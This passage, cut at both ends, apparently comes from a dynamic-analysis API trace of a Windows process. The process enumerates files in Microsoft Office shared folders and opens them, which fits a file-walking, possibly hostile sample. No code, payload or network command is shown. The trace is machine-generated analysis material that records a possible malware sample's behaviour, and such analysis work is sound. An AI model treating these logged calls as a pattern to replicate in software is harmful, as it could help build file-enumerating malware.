ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="osppobjs-spp-plugin-manifest-signed.xrm-ms", cAlternateFileName="")) returned 1 [0051.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.018] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.018] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeef370 [0051.018] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee728 [0051.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeef478 [0051.018] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.018] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x212b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPOBJS.DLL", cAlternateFileName="")) returned 1 [0051.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.018] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.018] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.019] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.019] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.019] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf332800, ftCreationTime.dwHighDateTime=0x1cabc8a, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf332800, ftLastWriteTime.dwHighDateTime=0x1cabc8a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="")) returned 1 [0051.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.019] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.019] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.019] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.019] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPSVC.EXE", cAlternateFileName="")) returned 1 [0051.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.019] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.019] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.019] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.019] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x23b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.DLL", cAlternateFileName="")) returned 1 [0051.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.019] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.019] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.019] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.019] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 1 [0051.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.019] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.019] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.019] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee748 [0051.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeef580 [0051.020] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.020] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 0 [0051.020] GetLastError () returned 0x12 [0051.020] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cf8 [0051.020] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0051.020] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.020] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1 [0051.020] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59922e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x1be700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPCEXT.DLL", cAlternateFileName="")) returned 1 [0051.020] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="osppobjs-spp-plugin-manifest-signed.xrm-ms", cAlternateFileName="")) returned 1 [0051.020] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x212b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPOBJS.DLL", cAlternateFileName="")) returned 1 [0051.020] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf332800, ftCreationTime.dwHighDateTime=0x1cabc8a, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf332800, ftLastWriteTime.dwHighDateTime=0x1cabc8a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="")) returned 1 [0051.020] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPSVC.EXE", cAlternateFileName="")) returned 1 [0051.020] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x23b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.DLL", cAlternateFileName="")) returned 1 [0051.020] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 1 [0051.020] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 0 [0051.020] GetLastError () returned 0x12 [0051.020] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeef268) returned 1 [0051.020] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0051.021] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeef370) returned 1 [0051.021] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeef160) returned 1 [0051.021] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0051.021] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.021] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF" (normalized: "c:\\program files\\common files\\microsoft shared\\proof"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0051.041] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF" (normalized: "c:\\program files\\common files\\microsoft shared\\proof"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0051.041] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0051.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xef13b8 [0051.041] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xef13b8, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xef13b8, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0051.041] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef13b8) returned 1 [0051.041] NtClose (Handle=0x17c) returned 0x0 [0051.041] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0051.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0051.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0051.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0051.042] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cf8 [0051.042] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.042] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0051.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.042] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.042] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.042] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.042] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 1 [0051.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.042] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.042] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeef160 [0051.042] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0051.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee768 [0051.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeef370 [0051.042] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.042] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 1 [0051.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.042] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.042] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee788 [0051.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeef268 [0051.043] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.043] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 1 [0051.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.043] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.043] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0051.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee7a8 [0051.043] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeef688 [0051.043] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0051.043] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 0 [0051.043] GetLastError () returned 0x12 [0051.043] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0051.043] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0051.043] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.043] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0051.043] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 1 [0051.043] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 1 [0051.043] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, 